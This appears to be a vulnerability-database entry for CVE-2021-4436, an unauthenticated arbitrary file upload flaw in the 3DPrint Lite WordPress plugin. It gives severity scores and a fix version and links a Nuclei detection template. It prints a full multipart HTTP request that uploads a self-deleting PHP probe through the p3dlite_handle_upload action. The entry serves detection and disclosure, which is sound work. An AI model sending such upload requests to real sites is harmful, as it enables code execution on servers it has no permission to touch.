| Title | 3DPrint Lite < 1.9.1.5 - Arbitrary File Upload |
|---|---|
| Author | s4e-io |
| Severity | Critical |
| Impact | Unauthenticated attackers can upload arbitrary files including PHP scripts via the p3dlite_handle_upload AJAX action, potentially achieving remote code execution despite .htaccess protection. |
| Remediation | Fixed in 1.9.1.5 |
| CVSS Score | 9.8 |
| EPSS Score | 0.79586 |
| CVE ID | CVE-2021-4436 |
| CWE ID | CWE-434 |
| Tags | cve cve2021 3dprint-lite file-upload instrusive wpscan wordpress wp-plugin intrusive vkev vuln |
The plugin does not have any authorisation and does not check the uploaded file in its p3dlite_handle_upload AJAX action , allowing unauthenticated users to upload arbitrary file to the web server. However, there is a .htaccess, preventing the file to be accessed on Web servers such as Apache.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Connection: close
Content-Length: 412
Content-Type: multipart/form-data; boundary=---------------------------54331109111293931601238262353
Accept-Encoding: gzip
-----------------------------54331109111293931601238262353
Content-Disposition: form-data; name="action"
p3dlite_handle_upload
-----------------------------54331109111293931601238262353
Content-Disposition: form-data; name="file"; filename="vwhlniRE.php"
Content-Type: text/php
<?php echo "38FOZqs13Hj0pfn0WfRhucHKzsg";unlink(__FILE__);?>
-----------------------------54331109111293931601238262353--
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-4436.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-4436.pcap
N/AN/A